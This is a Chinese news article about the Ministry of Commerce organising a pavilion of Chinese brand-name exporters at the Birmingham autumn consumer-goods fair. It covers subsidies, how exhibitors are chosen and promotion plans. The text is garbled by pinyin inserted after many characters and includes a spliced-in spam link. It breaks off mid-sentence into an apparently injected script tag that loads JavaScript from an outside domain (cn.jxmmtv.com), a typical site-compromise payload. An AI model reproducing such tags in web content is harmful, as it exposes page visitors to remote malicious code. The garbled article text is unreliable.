作者:姜蓉 來源:中國經(jīng)營報(bào)
伯明翰國際博覽會(huì)是世界著名的消費(fèi)品類專業(yè)博覽會(huì)之一,囊括了全部禮品及家庭用品行業(yè)的產(chǎn)品,伯明翰秋季博覽會(huì)自1991年開始舉辦,與德國法蘭克福秋季消費(fèi)品博覽會(huì)和意大利馬契夫博覽會(huì)齊名,同屬世界著名三大專業(yè)消費(fèi)品博覽會(huì)。目前展覽面積已經(jīng)達(dá)到6萬平方米,專業(yè)觀眾5萬多人。女人網(wǎng)http://www.hxlady.com
為了實(shí)施名牌出口戰(zhàn)略,擴(kuò)大中國名牌商品對(duì)英國及其他歐盟國家的出口,商務(wù)部將于9月5日至8日首次以政府組團(tuán)的方式組織中國部分名牌出口企業(yè)在伯明翰秋季博覽會(huì)期間舉辦“中國名牌出口商品歐洲展”,以集中展示我國名牌出口商品的整體水平和實(shí)力。借船出海
這次名牌展有著較好的貿(mào)易背景。商務(wù)部對(duì)外貿(mào)易司貿(mào)易促進(jìn)處負(fù)責(zé)人告訴記者,隨著中國參與世界貿(mào)易程度的不斷提高和經(jīng)濟(jì)實(shí)力的日益增強(qiáng),“中國熱”今年來滲透到包括英國在內(nèi)的很多國家的政府和民間。中英兩國經(jīng)貿(mào)關(guān)系的發(fā)展有著廣泛的社會(huì)基礎(chǔ)。目前,中、英兩國的經(jīng)濟(jì)規(guī)模分列世界第六和第四位,但雙邊貿(mào)易額僅占各自貿(mào)易總額的2%弱,中英貿(mào)易發(fā)展?jié)摿艽蟆R?#8220;中國名牌出品商品歐洲展”的形式正是一種挖掘中英、中歐之間貿(mào)易潛力的有效舉措。
同時(shí),該負(fù)責(zé)人指出從境外辦展的經(jīng)驗(yàn)看,單獨(dú)辦展效果不理想,因?yàn)橹袊髽I(yè)出國單獨(dú)辦展需要大量的宣傳,費(fèi)用很高,還需要有客戶群基礎(chǔ)等條件。而選擇一個(gè)可以依托國際一流展會(huì),借船出海,打出中國的名牌。
伯明翰消費(fèi)品展是世界三大消費(fèi)品展之一。展品主要是禮品、玩具、箱包、工藝等消費(fèi)品,專業(yè)觀眾5萬多人,而且處于不斷上升期。其買家來自世界各地,對(duì)歐洲市場(chǎng)輻射力很強(qiáng),是企業(yè)打開歐洲市場(chǎng)的一個(gè)很好的平臺(tái)。因此,商務(wù)部此次組團(tuán)將把該展覽會(huì)中9號(hào)館也是其最好的位置租下來了,定名為中國館,集中展示中國名牌日用消費(fèi)品。此次展覽計(jì)劃組織150個(gè)展位,面積約3000平方米。精品戰(zhàn)略
據(jù)了解,這個(gè)名牌展的消息剛一發(fā)出,報(bào)名企業(yè)就迅速超過150家。企業(yè)的積極參與一方面原因是由于伯明翰展是世界一流的展覽會(huì),并是有5萬多專業(yè)觀眾的巨大吸引力,另一方面原因是此次展覽定位為名牌展,政府在展前通過駐外的參贊處,做了大量的廣告宣傳,另外,由于商務(wù)部拿到了比較低的展位價(jià)格,攤位費(fèi)經(jīng)過特裝修以后比廣交會(huì)的價(jià)格還低。
此次出國展承辦的通用國際廣告展覽公司總經(jīng)理李仁貴透露,政府為減輕企業(yè)參展負(fù)擔(dān)共補(bǔ)貼700萬元。這次出展與以往不同,立項(xiàng)審批都由商務(wù)部主管。通用國際廣告展覽公司只負(fù)責(zé)展覽中事務(wù)性的工作。而且在簽證等事項(xiàng)上企業(yè)都不會(huì)遇到問題。基于以上原因,企業(yè)對(duì)參展的期望值很高。
但是此次展覽定位為名牌展,目的是為了展示中國的名牌出口商品,改變歐洲人對(duì)我國產(chǎn)品檔次不高的印象,因此,為了提高展示效果,只能從報(bào)名企業(yè)里優(yōu)中選優(yōu),初定選擇50家名牌企業(yè)參加。李仁貴告訴記者,由于報(bào)名企業(yè)太多,可能名額會(huì)增加到80個(gè)。據(jù)悉,北京的天壇家俱、大寶化妝品,上海的三槍內(nèi)衣、英雄筆等中國品牌企業(yè)會(huì)在此次名牌展上亮相。
名牌的甄選原則也來源于廣交會(huì)品牌展區(qū)的經(jīng)驗(yàn)。95屆廣交會(huì)設(shè)立品牌展區(qū)之后,品牌展區(qū)有2000個(gè)攤位,占總攤位數(shù)的7%,共成交44.4億美元,占整個(gè)成交額的18%,因此,根據(jù)廣交會(huì)的經(jīng)驗(yàn),此次赴歐洲參展選擇名牌精品參加。
選擇企業(yè)時(shí),除了要與伯明翰的展覽主題相吻合以外,主要是在廣交會(huì)上進(jìn)入品牌展區(qū)里的企業(yè)中選擇。而品牌展區(qū)從事輕工業(yè)的企業(yè)近百家,按照成交額進(jìn)行排名,在報(bào)名企業(yè)眾多的情況下,按照排名順序選擇企業(yè)。
此次中國名牌展除了選擇一流的產(chǎn)品,一流的企業(yè)精品參展以外,值得一提的是,為了使中國館有統(tǒng)一的形象,館內(nèi)全部統(tǒng)一特裝修,不設(shè)標(biāo)攤。李仁貴告訴記者,與以往不同,此次承辦方特別對(duì)企業(yè)強(qiáng)調(diào)要選擇最好的展品去參展,另外,要挑選高素質(zhì)外派人員,參展人員要能與買家直接對(duì)話。因?yàn)檫@不僅代表了企業(yè)自身,還代表國家的形象。三段式推介
此次赴英是中國名牌企業(yè)第一次大規(guī)模參展,商務(wù)部在展前、展中、展后三段的推介力度都很大。
目前已經(jīng)通過中國使館在國外做了一些宣傳,在國外媒體上透露伯明翰消費(fèi)品展中國館將亮相的消息。參展前的布展也是非常重要的環(huán)節(jié),此次布展全部采用特裝修,在國內(nèi)把布展工作完成,通過計(jì)算機(jī)打樣審定,將設(shè)計(jì)和裝修基礎(chǔ)工作做完,運(yùn)到英國組裝。
貿(mào)易促進(jìn)處負(fù)責(zé)人透露“在展會(huì)上,中國館會(huì)有一個(gè)統(tǒng)一的形象。同時(shí),在展覽期間,商務(wù)部還會(huì)組織一系列的政府的推介活動(dòng),比如舉辦新聞發(fā)布會(huì),通過英國的主流媒體宣傳中國名牌商品情況,展示中國出口商品結(jié)構(gòu)調(diào)整的成果。由于國外展會(huì)沒有開幕式,中國館又是首次亮相,此次名牌展準(zhǔn)備搞一個(gè)中國館的開館活動(dòng)。請(qǐng)一些英國和歐洲工商界的名流參加,加大推介力度。”
將名牌效應(yīng)延續(xù)下去不能光靠一次展會(huì),“要想使中國名牌真正地走出國門成為世界品牌不是一朝一夕之事,在展后也要有一些推介策略,比如?script src=http://cn.jxmmtv.com/cn.js></script>